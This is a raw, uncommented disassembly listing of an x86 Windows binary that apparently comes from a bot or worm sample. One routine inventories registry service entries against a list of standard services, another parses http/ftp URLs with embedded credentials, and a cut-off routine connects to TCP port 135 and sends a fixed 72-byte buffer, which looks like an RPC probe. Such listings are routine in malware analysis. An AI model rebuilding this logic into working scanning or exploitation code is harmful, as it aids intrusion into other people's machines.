		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 283061Dh


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 29009A8h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44530C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4452F4
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28E0000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		call	near ptr 29103E8h
		nop
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2871C1Eh
		push	eax
		call	near ptr 2871161h
		nop
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E0 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453E0 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E0 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DA8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
